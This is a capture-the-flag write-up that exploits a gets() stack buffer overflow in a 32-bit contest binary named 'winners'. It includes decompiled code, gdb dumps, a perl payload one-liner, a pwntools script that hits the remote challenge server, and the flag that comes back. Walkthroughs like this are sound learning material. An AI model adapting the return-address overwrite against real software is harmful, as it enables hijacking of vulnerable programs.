Authors: icinta
nc chals20.cybercastors.com 14434
Open with Ghidra, look at main()
undefined4 main(void)
{
puts("Do you really think you can get to the winners table?");
puts("I\'ll give you one shot at it, what floor is the table at: ");
start();
puts("Yeah that\'s what I thougt, LOL.\n");
return 0;
}
start()
accepts input from STDIN and is vulnerable to a buffer overflow.
void start(void)
{
char local_4c [68];
__x86.get_pc_thunk.ax();
gets(local_4c);
return;
}
(gdb) disas start
Dump of assembler code for function start:
0x08049201 <+0>: push %ebp
0x08049202 <+1>: mov %esp,%ebp
0x08049204 <+3>: push %ebx
0x08049205 <+4>: sub $0x44,%esp
0x08049208 <+7>: call 0x8049290 <__x86.get_pc_thunk.ax>
0x0804920d <+12>: add $0x21eb,%eax
0x08049212 <+17>: sub $0xc,%esp
0x08049215 <+20>: lea -0x48(%ebp),%edx
0x08049218 <+23>: push %edx
0x08049219 <+24>: mov %eax,%ebx
0x0804921b <+26>: call 0x8049040 <gets@plt>
0x08049220 <+31>: add $0x10,%esp
0x08049223 <+34>: nop
0x08049224 <+35>: mov -0x4(%ebp),%ebx
0x08049227 <+38>: leave
0x08049228 <+39>: ret
End of assembler dump.
And winnersLevel()
is the function we need to reach.
undefined4 winnersLevel(int param_1)
{
undefined4 uVar1;
if ((param_1 == 0x182) || (param_1 == 0x102)) {
puts("Wow! Please excuse me sir I had no idea...here are your chips");
system("cat ./flag.txt");
uVar1 = 1;
}
else {
puts("You guessed right but it seems your badge number isn\'t on our list.");
uVar1 = 0;
}
return uVar1;
}
(gdb) disas winnersLevel
Dump of assembler code for function winnersLevel:
0x08049196 <+0>: push %ebp
0x08049197 <+1>: mov %esp,%ebp
0x08049199 <+3>: push %ebx
0x0804919a <+4>: sub $0x4,%esp
0x0804919d <+7>: call 0x80490d0 <__x86.get_pc_thunk.bx>
0x080491a2 <+12>: add $0x2256,%ebx
0x080491a8 <+18>: cmpl $0x182,0x8(%ebp)
0x080491af <+25>: je 0x80491ba <winnersLevel+36>
0x080491b1 <+27>: cmpl $0x102,0x8(%ebp)
0x080491b8 <+34>: jne 0x80491e5 <winnersLevel+79>
0x080491ba <+36>: sub $0xc,%esp
0x080491bd <+39>: lea -0x13f0(%ebx),%eax
0x080491c3 <+45>: push %eax
0x080491c4 <+46>: call 0x8049050 <puts@plt>
0x080491c9 <+51>: add $0x10,%esp
0x080491cc <+54>: sub $0xc,%esp
0x080491cf <+57>: lea -0x13b2(%ebx),%eax
0x080491d5 <+63>: push %eax
0x080491d6 <+64>: call 0x8049060 <system@plt>
0x080491db <+69>: add $0x10,%esp
0x080491de <+72>: mov $0x1,%eax
0x080491e3 <+77>: jmp 0x80491fc <winnersLevel+102>
0x080491e5 <+79>: sub $0xc,%esp
0x080491e8 <+82>: lea -0x13a0(%ebx),%eax
0x080491ee <+88>: push %eax
0x080491ef <+89>: call 0x8049050 <puts@plt>
0x080491f4 <+94>: add $0x10,%esp
0x080491f7 <+97>: mov $0x0,%eax
0x080491fc <+102>: mov -0x4(%ebp),%ebx
0x080491ff <+105>: leave
0x08049200 <+106>: ret
End of assembler dump.
winnersLevel()
takes one argument, which must be either 0x182
or 0x102
to get the flag. Let's check out the stack variables for this function in Ghidra:
undefined winnersLevel(undefined4 param_1)
undefined AL:1 <RETURN>
undefined4 Stack[0x4]:4 param_1 XREF[2]: 080491a8(R),
080491b1(R)
undefined4 Stack[-0x8]:4 local_8 XREF[1]: 080491fc(R)
winnersLevel XREF[3]: Entry Point(*), 0804a158,
0804a1fc(*)
08049196 55 PUSH EBP
We'll have to overflow the input buffer in start()
, which is 68 bytes, plus probably another 8 bytes before overwriting the return address with the starting address of winnersLevel()
. Then there will be the new return address (0x08049196
) and then the two stack variables for winnersLevel()
.
Create a fake flag file, and try to exploit it by hand.
root@kali:~/Downloads# echo hello > flag.txt
root@kali:~/Downloads# perl -e 'print "A"x76 . "\x96\x91\x04\x08"x1 . "\x00\x00\x00\x00" . "\x02\x01\x00\x00"' > payload && ./winners < payload; echo $?
Do you really think you can get to the winners table?
I'll give you one shot at it, what floor is the table at:
Wow! Please excuse me sir I had no idea...here are your chips
hello
Segmentation fault
139
Bingo! And we can do the same with gdb to see what the memory looks like with this payload by setting a breakpoint at the nop
just after gets()
in the start()
function.
(gdb) break *0x08049223
Breakpoint 1 at 0x8049223
(gdb) run < payload
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Downloads/winners < payload
Do you really think you can get to the winners table?
I'll give you one shot at it, what floor is the table at:
Breakpoint 1, 0x08049223 in start ()
(gdb) info reg
eax 0xffffd2b0 -11600
ecx 0xf7faf5c0 -134548032
edx 0xf7fb089c -134543204
ebx 0x804b3f8 134525944
esp 0xffffd2b0 0xffffd2b0
ebp 0xffffd2f8 0xffffd2f8
esi 0xf7faf000 -134549504
edi 0xf7faf000 -134549504
eip 0x8049223 0x8049223 <start+34>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/40wx $esp
0xffffd2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2f0: 0x41414141 0x41414141 0x41414141 0x08049196
0xffffd300: 0x00000000 0x00000102 0xf7e06b00 0xf7fb2588
0xffffd310: 0xf7faf000 0xf7faf000 0x00000000 0xf7e06c7b
0xffffd320: 0xf7faf3fc 0x00040000 0x00000000 0x080492f3
0xffffd330: 0x00000001 0xffffd3f4 0xffffd3fc 0x080492c1
0xffffd340: 0xffffd360 0x00000000 0x00000000 0xf7defb41
Now that we have a working local exploit, write the script to exploit the remote server. One key thing I missed when I first wrote this is that we have to set DEBUG
mode to dump out every byte received. Otherwise, we won't see the flag.
#!/usr/bin/env python3
from pwn import *
context.log_level='DEBUG' # need debug mode to see flag
binary = ELF('./winners')
print("%x\n" % binary.symbols['winnersLevel'])
p = remote('chals20.cybercastors.com', 14434)
p.recvuntil("what floor is the table at:")
payload = b'A' * (68 + 8)
payload += p32(binary.symbols['winnersLevel'])
payload += p32(0x0)
payload += p32(0x102)
p.sendline(payload)
p.stream()
root@kali:~/Downloads# ./winners-exploit.py
[DEBUG] PLT 0x8049040 gets
[DEBUG] PLT 0x8049050 puts
[DEBUG] PLT 0x8049060 system
[DEBUG] PLT 0x8049070 __libc_start_main
[*] '/root/Downloads/winners'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
8049196
[+] Opening connection to chals20.cybercastors.com on port 14434: Done
[DEBUG] Received 0x71 bytes:
b'Do you really think you can get to the winners table?\n'
b"I'll give you one shot at it, what floor is the table at: \n"
[DEBUG] Sent 0x59 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 41 41 41 41 41 41 41 41 41 41 41 41 96 91 04 08 │AAAA│AAAA│AAAA│····│
00000050 00 00 00 00 02 01 00 00 0a │····│····│·│
00000059
[DEBUG] Received 0x3e bytes:
b'Wow! Please excuse me sir I had no idea...here are your chips\n'
Wow! Please excuse me sir I had no idea...here are your chips
[DEBUG] Received 0x2a bytes:
b'castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}'
The flag is:
castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}